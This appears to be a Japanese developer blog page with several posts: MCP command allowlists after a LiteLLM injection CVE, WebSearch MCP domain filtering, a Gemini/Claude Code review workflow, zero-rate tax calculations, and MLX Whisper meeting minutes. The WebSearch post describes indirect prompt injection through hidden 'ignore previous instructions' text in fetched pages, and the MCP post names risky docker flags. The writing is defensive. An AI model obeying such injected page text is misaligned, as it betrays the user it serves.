どちらか一方だけでは守れない層がある。ドメイン制御はコンテンツレベルの話で、コマンドallowlistは設定・起動レベルの話だ。両方を組み合わせて初めて、外部から供給される入力全体をカバーできる。

企業・チームで使う場合は職種別にallowlistを変える

個人開発なら先ほどの7コマンドのallowlistをそのまま使えばいい。だが企業内でMCPを展開する場合、職種やスキルレベルによって適切な許可範囲が異なる。「全員に同じallowlist」は利便性か安全性のどちらかを犠牲にしやすい。

ロール 推奨allowlist 理由
一般職・非エンジニア npxuvx のみ パッケージランナー経由に限定。任意スクリプトの直接実行を防ぐ
エンジニア フルリスト(7コマンド) 開発ワークフローに必要。docker は引数検証も追加推奨
管理者・セキュリティ担当 フルリスト+allowlist変更権限 設定管理の責任者として変更権を持つ

MDMで設定を端末に強制適用する

ロール別のallowlistを設計しても、ユーザーが手元で設定ファイルを書き換えられると意味がない。企業環境では Jamf Pro(macOS)や Microsoft Intune(Windows / macOS)などのMDM(Mobile Device Management) を使って設定を端末にプッシュ配布し、ユーザーが上書きできない状態にするのがベストプラクティスだ。

Jamf Proなら Configuration Profile の Custom Settings で、IntuneならカスタムOMA-URIポリシーまたはSettings Catalogで配布できる。Active Directory や Microsoft Entra ID のグループ情報と連携すれば、職種ごとのプロファイルを自動的に割り当てることも可能だ。管理者が設定ポリシーを変更すると、次回チェックイン時に全端末へ即時反映される。

MDMを使う最大のメリットは「誰がどの設定で動いているか」が一元管理・監査できる点だ。セキュリティインシデントが起きたとき、どの端末にどのallowlistが適用されていたかが追跡できる。

特に注意したいのは dockerpython だ。docker--privileged フラグや -v /:/host のようなボリュームマウントと組み合わさると、コンテナ外のホストに到達できてしまう。python の直接実行も、任意スクリプトを渡せる構造が使い方次第でリスクになる。エンジニア向けであっても、コマンド名のallowlistだけでなく引数レベルの検証を組み合わせることを検討したい。

設定ファイルを「信頼できない入力」として扱う

ここで改めて意識したいのは「設定ファイルもユーザー入力と同じ扱いをする」という原則だ。npmからダウンロードしたパッケージのサンプル設定、他人のGitHubリポジトリをcloneしたときに含まれる設定ファイル、どれも検証なしに実行していい理由はない。

自分がやるようにしたのは、MCP設定ファイルを取り込む前にコマンドフィールドを目視確認すること。自動化する場合はallowlistバリデーションをCI/CDに組み込む方向で考えている。面倒に感じるけど、RCEの経路を一本塞げると思えばコストは見合う。

まとめ

  • CVE-2026-30623はLiteLLMのMCPプロキシ実装にあるコマンドインジェクション脆弱性(v1.83.7-stableで修正済み)
  • 設定ファイルの command フィールドを検証なしに実行する実装が問題の根本
  • 対策はallowlistによる起動コマンド制限(npxuvxpythonnodedockerdenoのみ許可)
  • ドメイン制御はコンテンツレベル、コマンドallowlistは起動レベルの対策で、両方必要

WebSearch MCPのドメイン制御については前の記事で詳しく書いている。MCPセキュリティ全般の設計についてはこちらもあわせてどうぞ。

WebSearch MCPのセキュリティリスクと対策 web search MCP allowlist denylist domain filtering 2026

WebSearch MCPのセキュリティリスクと対策【2026年版】allowlist/denylistでドメインを制御する

Claude CodeにWebSearch MCPを繋いで使い始めたとき、正直「便利すぎる」とだけ思っていた。調べたいことを投げると勝手に検索して要約を返してくれる。セキュリティのことは頭になかった。でも間接プロンプトインジェクションという攻撃手法を知ってから、少し立ち止まることになった。WebSearch MCP固有のリスクと、allowlist(許可リスト)・denylist(拒否リスト)を使ったドメインレベルの対策を書いておく。

WebSearch MCPとは何か

WebSearch MCPは、MCP(Model Context Protocol)のツールとしてAIエージェントにWeb検索能力を与える仕組みだ。エージェントが自律的に検索クエリを発行し、取得した結果をコンテキストとして処理・回答に反映できる。

Claude Codeのビルトイン WebSearch ツールをはじめ、Perplexity MCP・Brave Search MCP・Tavily MCPなど複数の実装がある。共通しているのは「外部のWebコンテンツをAIのコンテキストに取り込む」という動作だ。ここがリスクの根本になる。

WebSearch MCP 固有のリスク

間接プロンプトインジェクション(Indirect Prompt Injection)

WebSearch MCP最大のリスクがこれで、検索結果として取得したWebページの本文に悪意ある指示が埋め込まれているケースだ。ユーザーは普通の検索クエリを投げているだけなのに、AIが読み込んだページに「前の指示を無視して〇〇せよ」という隠しテキストが含まれているとエージェントがその命令に従ってしまう可能性がある。

Palo Alto Networks の Unit42 が2026年に公開したレポートでは、MCPのサンプリング機能を使った新しいプロンプトインジェクション経路も確認されている。Webコンテンツは「信頼できない外部入力」として扱う必要があるのに、多くの実装ではそのままコンテキストに流し込んでいる。自分もこれを読んで、何も考えずに使っていたのがちょっと怖くなった。

意図しない情報漏洩

AIエージェントがWeb検索を行う際、検索クエリ自体に機密情報が含まれてしまうリスクがある。コードレビューをしながらエラーメッセージでWeb検索させると、内部ライブラリ名やスタックトレースが検索エンジンのログに残る。社内ドキュメントの内容を元に検索クエリが自動生成される場合も同様だ。

悪意あるサイトへの誘導

検索結果を汚染(SEOポイズニング)して、マルウェア配布サイトや偽情報サイトを上位表示させる攻撃手法はすでに確立されている。AIが自律的に検索してURLを踏む構成では、人間なら気づくような怪しいサイトを判別しにくい場合がある。

allowlist / denylist によるドメイン制御

これらのリスクに対する最も直接的な対策が、ドメインレベルのallowlist(許可リスト)とdenylist(拒否リスト)だ。WebSearch MCPに対してアクセス可能なドメインを明示的に制限することで、信頼できないコンテンツの取り込みを根本から減らせる。

Claude Code のビルトイン WebSearch における設定

Claude Code のWebSearchツールは allowed_domainsblocked_domains パラメータをネイティブでサポートしている。

// allowed_domainsを指定すると、そのドメインのみ検索結果に含まれる
{
  "query": "MCP security best practices",
  "allowed_domains": [
    "modelcontextprotocol.io",
    "docs.anthropic.com",
    "github.com"
  ]
}

// blocked_domainsを指定すると、そのドメインを検索結果から除外する
{
  "query": "Python packaging tutorial",
  "blocked_domains": [
    "example-spam-site.com"
  ]
}

社内ツールの調査や公式ドキュメントの参照だけに絞りたい場合は allowed_domains が強力だ。一方、特定の問題サイトだけ弾きたい場合は blocked_domains を使う。両方は同時に指定できないため、用途に応じて使い分ける。

Perplexity MCPのドメインフィルタリング

Perplexity MCPサーバーは検索結果のドメインフィルタリングをサポートしている。allowモードとblockモードがあり、最大20ドメインまで指定可能。ただし、allowとblockの混在は不可という制約がある。

{
  "search_domain_filter": {
    "action": "allow",
    "domains": [
      "zenn.dev",
      "qiita.com",
      "developer.mozilla.org"
    ]
  }
}

mcp-filter プロキシによるツールレベル制御

サードパーティの mcp-filter プロキシを使うと、上流MCPサーバーのツールをallowlist/denylistでさらに絞り込める。glob パターンで指定でき、allowlistが先に適用された後にdenylistで除外するという順序で動く。

{
  "mcpServers": {
    "filtered-websearch": {
      "command": "npx",
      "args": ["@respawn-app/tool-filter-mcp"],
      "env": {
        "UPSTREAM_SERVER": "websearch-mcp",
        "ALLOW_TOOLS": "search,fetch_url",
        "DENY_TOOLS": "fetch_raw_html,*_admin"
      }
    }
  }
}

ドメイン制御と合わせてやっておきたいこと

allowlist/denylistだけで完結するわけじゃなくて、組み合わせが重要だ。自分が気をつけているのはこのあたり。

  • 検索クエリに機密情報が入らないよう、エージェントへの指示を明確に絞る
  • WebSearch の呼び出しログを残して、異常なドメインへのアクセスを検知する
  • 取得したWebコンテンツをそのまま次のツール呼び出しに使わない設計にする

特に3つ目は見落としがちで、「Webから取ってきた内容を元にファイルを書き換える」というエージェント設計だと、間接プロンプトインジェクションの経路がそのまま残ってしまう。

まとめ

  • WebSearch MCPは外部コンテンツをAIコンテキストに取り込む動作ゆえに間接プロンプトインジェクションのリスクがある
  • Claude Code の WebSearch は allowed_domains / blocked_domains でドメインを制御できる
  • allowlistを先に適用し、その後denylistで絞り込む順序が一般的

2026/04/24

Google AntigravityとClaude Codeを同時に使って互いに添削させるワークフロー antigravity claude code gemini

GeminiとClaudeに喧嘩させながらコードを書いている話 — AntigravityとClaude Codeの併用ワークフロー

最近、コードを書くときにGoogle Antigravity(Gemini 3.1 Pro)とClaude Codeを同時に立ち上げて、互いの出力を相手に添削させるという変な使い方をしている。最初は冗談半分で試したんだけど、これが思いのほか実用的で、今では毎日の普通の作業フローになってしまった。この記事ではその具体的な使い方と、やってみてわかったことを書いておく。

Google Antigravityとは

2025年11月にGoogleが発表したエージェント型IDE。Visual Studio Codeをベースにした開発環境で、Gemini 3.1 Pro・Gemini 3 Flash・Claude Sonnet 4.6・GPT-OSS-120Bなど複数のモデルをネイティブで切り替えながら使える。無料で使えて、SWE-bench Verifiedで76.2%というスコアを出している。VSCode forkなので既存の拡張機能がそのまま動くのも地味に助かる。

自分はAntigravity側ではGemini 3.1 Proをメインに使っている。Gemini 3.1 Proはコンテキストウィンドウが広く、大きなファイルを一気に食わせてもあまり音を上げない。一方でClaude Codeは推論の深さというか、「なぜそう書くのか」を説明させたときの納得感が強い。この特性の違いが、相互添削ワークフローにちょうどいい組み合わせになっている。

実際の使い方:2つのAIに喧嘩させる

基本の流れ

やっていることはシンプルで、片方にファイルを生成させて、そのファイルをもう片方に読ませて「ここがおかしくないか」と聞くだけだ。手でコピーするのではなく、どちらもファイルシステム上のファイルを直接参照できるので、「読み合い」が自然にできる。具体的な流れはこうだ。

  • Antigravity(Gemini)にタスクを渡してドラフトファイルを生成させる
  • Claude Codeに同じファイルを読ませて「このコードのどこが気になるか」と聞く
  • Claudeの指摘をAntigravityに渡してリファクタリングさせる
  • 必要なら逆向きにも回す

どちらか片方で完結させようとすると、そのモデルの「癖」がそのまま残る。Geminiはコードの全体感を掴むのが早いけど、細かいエッジケースの処理を省略しがちな印象がある。Claudeはそこに気づいて指摘してくることが多い。逆にClaudeが書くコードは一つひとつの処理が丁寧すぎて冗長になることがあって、そこをGeminiに「もっとシンプルに書き直して」と投げると整理されたりする。

トークンの分散という発想

もう一つの実用的な理由がトークン管理だ。Claude Codeをフルに使うとトークン消費が思ったより早い。長いコンテキストが必要な作業——たとえばリポジトリ全体の設計確認や大きなファイルの読み込み——はAntigravityのGemini側に任せて、Claude Codeは「詰め」の部分に集中させる使い分けをしている。

Antigravityは無料で使えてGemini 3.1 Proが使い放題なので、コンテキストを食う作業をこちらに逃がすとClaude Code側のトークン消費を抑えられる。月の後半にClaude Codeの残量を気にしながら作業する、みたいな状況がかなり減った。

自分の使い分けをざっくり整理するとこんな感じだ。

  • Antigravity(Gemini 3.1 Pro): 大きなファイルの読み込み・リポジトリ全体の把握・初期ドラフト生成
  • Claude Code: エッジケースの指摘・推論説明・コードの意図確認・細かいリファクタ

この分担はタスクによって変わるけど、「広く速く全体を見る」がGemini、「深く丁寧にひとつひとつ確認する」がClaudeというイメージが自分の中で固まってきている。

拡張機能の活用

AntigravityはVSCode forkなので、インストール済みの拡張機能がそのまま動く。自分はESLint・Prettier・GitLensあたりを入れていて、Antigravityのエージェントがコードを生成したあとに自動でフォーマットが走る状態にしている。Claude Codeからターミナル経由で変更したファイルもリアルタイムで拾ってくれるので、2つのツールが同じエディタ上で共存している感覚になる。移行コストが低いのはVSCode forkならではの強みで、設定やキーバインドもほぼそのまま持ち込めた。

やってみてわかったこと

一番の発見は、2つのAIが同じコードに対して違う視点で指摘を出すという点だ。単純に「どちらが正しいか」ではなくて、GeminiとClaudeが食い違う部分にこそ、判断が必要な箇所が潜んでいることが多い。両方が同じことを言っていれば素直に直す、意見が割れたら自分で考える、という使い方が自然にできるようになった。

たとえば先日、Pythonで書いた非同期処理のコードをGeminiに投げたら「問題ない」と返ってきた。同じコードをClaudeに渡したら「asyncio.gather()の例外ハンドリングが不完全で、どれかひとつのタスクが失敗したとき残りが無言でキャンセルされる可能性がある」と指摘が来た。試してみたら確かにそうだった。Geminiも嘘をついていたわけじゃなくて、単純に「動くかどうか」で見ていたんだと思う。そういう温度差がある。

コンテキストのズレには注意

デメリットとしては、コンテキストを2つのツールに分散させるとどちらが「最新の状態」を持っているかがわかりにくくなる。特にClaude Codeでファイルを直接編集してAntigravityに渡し忘れると、古いコードに対して添削が走ってしまう。このズレに気づくのに少し時間がかかることがある。

自分は今のところ「編集はClaude Code側で行い、レビュー依頼時にファイル内容をAntigravityに貼り直す」というルールにしている。少し手間だけど、コンテキストのズレによる誤添削よりはずっとマシだと判断している。もっとスマートな方法があれば積極的に試してみたいが、今はこれで落ち着いている。

まとめ

  • Antigravity(Gemini 3.1 Pro)は広いコンテキストが必要な作業・全体設計向き
  • Claude Codeはエッジケースの指摘・推論の深さが必要な詰め作業向き
  • 片方の出力をもう片方に添削させると、単独使用では見えなかった問題が出てくる
  • Antigravityを無料のGemini枠として使うとClaude Codeのトークン消費を分散できる
  • VSCode拡張がAntigravityでそのまま動くので移行コストは低い

消費税0%でゼロ除算は本当に起きるのか?修正1年は長すぎ問題 consumption tax zero rate system

消費税0%でゼロ除算は本当に起きるのか?「修正に1年」という見積もりを疑ってみた

消費税0%の話が出るたびに「システム対応が大変」「ゼロ除算が起きる」「対応に1年かかる」という声が聞こえてくる。自分もエンジニアとして業務系システムに関わってきたので、これが本当なのか気になって少し整理してみた。結論から言うと、ゼロ除算が起きるケースは限られていて、「1年かかる」という見積もりはよほど特殊な事情がない限りやりすぎな気がする

税計算の基本式と、ゼロ除算が起きる条件

まず税計算の基本から整理する。消費税の計算で一番よく使われるのは以下の式だ。

// 税込価格の計算(乗算)
tax_amount = price * tax_rate        // 例: 1000 * 0.10 = 100
price_with_tax = price + tax_amount  // 例: 1000 + 100 = 1100

// または一発で
price_with_tax = price * (1 + tax_rate)  // 例: 1000 * 1.10 = 1100

税率が0%(tax_rate = 0.0)の場合、1000 * 0.0 = 0なので税額はゼロ。price_with_tax = 1000 * 1.0 = 1000で税込=税抜になる。ゼロ除算は起きない。

じゃあどこで起きるかというと、逆算処理だ。例えば「税込金額から税率を使って税額だけを取り出す」計算がある場合、こんなコードが書かれていることがある。

// 税込から税額を逆算する(除算が入る)
tax_amount = price_with_tax * tax_rate / (1 + tax_rate)
// 税率0%の場合: price_with_tax * 0 / 1 = 0 → これは問題なし

// 問題になりうるパターン
effective_rate = tax_amount / price_excl_tax
// tax_amountが0でprice_excl_taxも0だと → 0/0 で NaN や例外

もう一つのパターンが、税率そのものを分母に使う逆算。「税額がわかっているとき、税率から税抜価格を求める」みたいな処理で price = tax_amount / tax_rate という式が書かれていると、tax_rate = 0 で除算エラーになる。ただこういう処理はかなりニッチで、普通の売上計算ではあまり見かけない。

「想定してない」はさすがに言い訳になりにくい

消費税は1989年の導入以来、3% → 5% → 8% → 10%(軽減税率8%含む)と何度も変わってきた。つまりシステムとしては「税率が変わる」という事実はすでに何度も経験しているはずで、今さら「0%は想定してなかった」は通りにくいと思う。

もちろん、税率が「必ずゼロより大きい正の数である」という前提でコードが書かれていたら話は別だ。例えばこんな感じのバリデーション。

if tax_rate <= 0:
    raise ValueError("税率は正の値でなければなりません")

こういう制約をコードやDBのチェック制約に入れていると、0%を受け付けない。それ自体は当時の要件としては正しかったかもしれないけど、「0%を想定してなかった」とはまた少し違う。「0%は仕様上ありえない前提で作った」というのが正確なところだろう。

マジックナンバー問題も無視できない

レガシーシステムでよくあるのが、税率がコード内にハードコードされているケースだ。

// 最悪パターン: マジックナンバー
total = subtotal * 1.10

// まだマシなパターン: 定数化されている
TAX_RATE = 0.10
total = subtotal * (1 + TAX_RATE)

// 理想: DB or 設定ファイルから取得
tax_rate = get_tax_rate_from_config()
total = subtotal * (1 + tax_rate)

1.10がハードコードされていると、0%対応のためにコード全体を検索して書き換えなければならない。これが「大変」の正体だったりする。でもそれは税率変更対応の工数であって、ゼロ除算固有の問題ではない。

「修正に1年」は本当に必要なのか

自分の感覚では、税率をDBや設定ファイルで管理していて、計算ロジックが適切に分離されているシステムなら、0%対応の本質的な修正は数日〜数週間で終わると思う。問題はそこに上積みされる工数だ。

  • レガシーコードへのマジックナンバー対応(規模次第)
  • テスト整備(既存テストが0%ケースをカバーしていない)
  • 本番リリースのタイミング調整(月次・年次バッチとの兼ね合い)
  • 関係省庁・取引先との仕様確認(軽減税率との組み合わせなど)

これらを全部積み上げると確かに大きくなる。特に大規模な基幹システムや、複数のサービスが税率を参照しているマイクロサービス構成だと、テストと調整だけで相当な時間がかかることもある。ただそれは「ゼロ除算が難しい」のではなくて、「変更の影響範囲が広い」という問題だ。

本当に1年かかるシステムも存在する

正直に言うと、「1年」がまるで嘘とも言い切れない。金融系・保険系の基幹システムには、本番リリースが年1〜2回しかできない運用制約があるケースがある。バッチ処理の年度締め・月次締めとの整合性を取るために、リリース窓が極端に限られている。この場合、コード修正自体は3ヶ月で終わっても、リリースが翌年になって「1年かかった」になることがある。

それを「システムが難しい」と言われると、エンジニアとしてはちょっとモヤっとする。難しいのはコードじゃなくてリリースプロセスの話だからだ。

まとめ

  • 消費税0%でのゼロ除算は、乗算ベースの通常計算では起きない。逆算処理や特殊な式でのみ発生しうる
  • 「想定してない」は不正確で、「0%をありえない前提で設計した」が正しい表現に近い
  • ハードコードされたマジックナンバーや、税率が設定外から取れない設計が「対応コスト増大」の主な原因
  • 「1年」という数字は、コード修正よりリリースプロセスの制約が原因であることが多い

消費税絡みのシステム改修については、軽減税率対応とシステム設計の話にもまとめているので、合わせて読んでもらえると背景がつかみやすいと思う。

2026/04/22

M3 ProでMLX Whisper + Claude Code議事録自動生成 mlx-whisper meeting minutes automation

M3 ProでMLX Whisper + Claude Codeを使って44分の会議音声を1分で議事録化した話

「また手動で議事録書いてる…」という状況から抜け出したくて、mlx_whisperClaude Codeを組み合わせた議事録自動生成の仕組みを作ってみた。結論から言うと、M3 ProのMacBookで44分の音声ファイルをsmallモデルで文字起こしするのに約1分。そのテキストをClaude Codeに渡せば、整形された議事録が出てくる。この記事では実際に動かしたコードと手順、それと生成された議事録のサンプルを載せておく。

なぜMLX Whisperなのか

OpenAIのWhisperをApple SiliconのMLX上で動かすのがmlx_whisperだ。M1/M2/M3チップのNeural Engineをフル活用できるので、CPUやCUDAベースの環境と比べると処理速度が段違いになる。自分の場合、M3 Proで試したところ44分の音声がsmallモデルで約1分で完了した。

もともとCPUで動かしていたときは同じ音声で20〜30分かかっていたから、体感で20倍以上速くなった感じ。モデルサイズを上げれば精度も上がるけど、日本語の会議音声ならsmallで十分だと思う。固有名詞の誤認識がたまに出る程度で、文脈からの修正もClaude Codeに任せられる。

全体のパイプライン

処理の流れはシンプルで3ステップだ。

  • Step 1: 音声解析(mlx_whisper)— 音声ファイルを受け取り、タイムスタンプ付きテキストを出力する
  • Step 2: テキスト解析(Claude Code)— 生の文字起こしテキストを読んで、発言の意図・文脈を解釈する
  • Step 3: 議事録作成(Claude Code)— 解釈結果をもとに、アジェンダ別・決定事項・アクションアイテムを整形する

Step 1は自前のPythonスクリプト、Step 2〜3はClaude Codeへの指示だけで完結する。コードを大量に書く必要はほとんどない。

実装コード(主要部分)

文字起こし処理の核心部分はこんな感じ。モデルサイズを引数で切り替えられるようにしておくと便利だ。

import mlx_whisper

model_map = {
    "tiny":   "mlx-community/whisper-tiny-mlx",
    "base":   "mlx-community/whisper-base-mlx",
    "small":  "mlx-community/whisper-small-mlx",
    "medium": "mlx-community/whisper-medium-mlx",
    "large":  "mlx-community/whisper-large-v3-mlx",
}
model_id = model_map[model_size]

result = mlx_whisper.transcribe(
    str(audio),
    path_or_hf_repo=model_id,
    language="ja",
    verbose=False,
)

lines = []
for seg in result["segments"]:
    start = f"{int(seg['start'] // 60):02d}:{seg['start'] % 60:05.2f}"
    lines.append(f"[{start}] {seg['text'].strip()}")

result["segments"]にはタイムスタンプと発言テキストが入っている。これを[MM:SS.ss]形式のプレフィックス付きで保存しておくことで、後からClaude Codeが「どこで何が話されたか」を把握しやすくなる。language="ja"は日本語固定。英語の会議には別途対応が必要だ。

実行コマンド

スクリプトの実行はこれだけ。

python3 src/transcribe.py meeting_2025-04-22.m4a --model small --date 2025-04-22

output/2025-04-22.txtに文字起こし結果が保存される。このファイルをClaude Codeに渡す。

Claude Codeへの指示

文字起こしテキストができたら、Claude Codeにこんな指示を出す。

output/2025-04-22.txt を読んで、以下の形式で議事録を作成してください。

# 議事録
日時: 2025-04-22
参加者: (テキストから読み取れる範囲で)

## アジェンダと議論内容
(話題ごとにまとめる)

## 決定事項
- (決まったことをリスト化)

## アクションアイテム
| 担当 | タスク | 期限 |
|------|------|------|
(テキストから読み取れる範囲で)

これだけで動く。Claude Codeはファイルを読んで文脈を解釈し、話題の塊ごとにアジェンダを分けてくれる。「えーっと」「あの」といった発話のノイズも自動でスルーしてくれるのが地味に便利だ。

生成された議事録のサンプル

実際にどんな出力になるか、フィクションの会議録で試したサンプルを載せておく。

# 議事録
日時: 2025-04-22
参加者: 田中(PM)、佐藤(エンジニア)、鈴木(デザイナー)

## アジェンダと議論内容

### 1. 新機能リリーススケジュールの確認
田中より5月末リリースを目標とするスケジュール案が提示された。
佐藤からAPIの認証まわりの実装に2週間程度かかる見込みとの報告があり、
5月中旬を一次完成の目処とすることになった。

### 2. デザインレビューの進め方
鈴木が作成したモックアップをFigmaで共有することが決定。
来週木曜日にデザインレビュー会を設定する。

### 3. テスト計画
結合テストのスコープについて議論。今回はAPIエンドポイントを優先とし、
UIのE2Eテストは次フェーズに持ち越すことになった。

## 決定事項
- 5月末リリースを目標スケジュールとする
- デザインレビュー: 来週木曜日(Figmaモックアップベース)
- 結合テスト対象: APIエンドポイントのみ(UIは次フェーズ)

## アクションアイテム
| 担当 | タスク | 期限 |
|------|------|------|
| 佐藤 | API認証実装 | 5月中旬 |
| 鈴木 | Figmaモックアップ共有 | 来週月曜日 |
| 田中 | テスト計画ドキュメント作成 | 今週中 |

元の音声は「えーっと田中さん、スケジュールどうですかね」みたいな自然発話なのに、ちゃんと整形されて出てくる。決定事項とアクションアイテムを分けて出力してくれるのが個人的にはかなり助かっている。

処理速度と精度のバランス

モデルサイズ別の傾向をまとめておく。

モデル 44分音声の処理時間(M3 Pro) 日本語精度
tiny 約15秒 △(固有名詞多いと崩れる)
small 約1分 ○(会議用途なら十分)
medium 約4分 ◎(精度高い)
large-v3 約10分 ◎◎(最高精度)

日常的な会議録ならsmallで問題ないと思う。専門用語や固有名詞が多い技術的な会議ならmediumに上げると誤認識が減る。large-v3は精度は高いけど10分待つのはちょっとしんどいかな、という印象。

まとめ

  • mlx_whisperはApple Silicon MacBookで動かすのが一番速く、M3 Proなら44分音声をsmallモデルで約1分で文字起こし可能
  • 処理パイプラインは「音声→mlx_whisper→テキスト→Claude Code→議事録」の3ステップで完結する
  • Claude Codeへの指示はテンプレートを1つ用意しておけば毎回ほぼコピペで動く
  • 精度と速度のバランスは会議の種類によってsmallmediumを選ぶのが現実的
  • 日本語限定の実装なので英語・多言語の会議には別途languageパラメータの変更が必要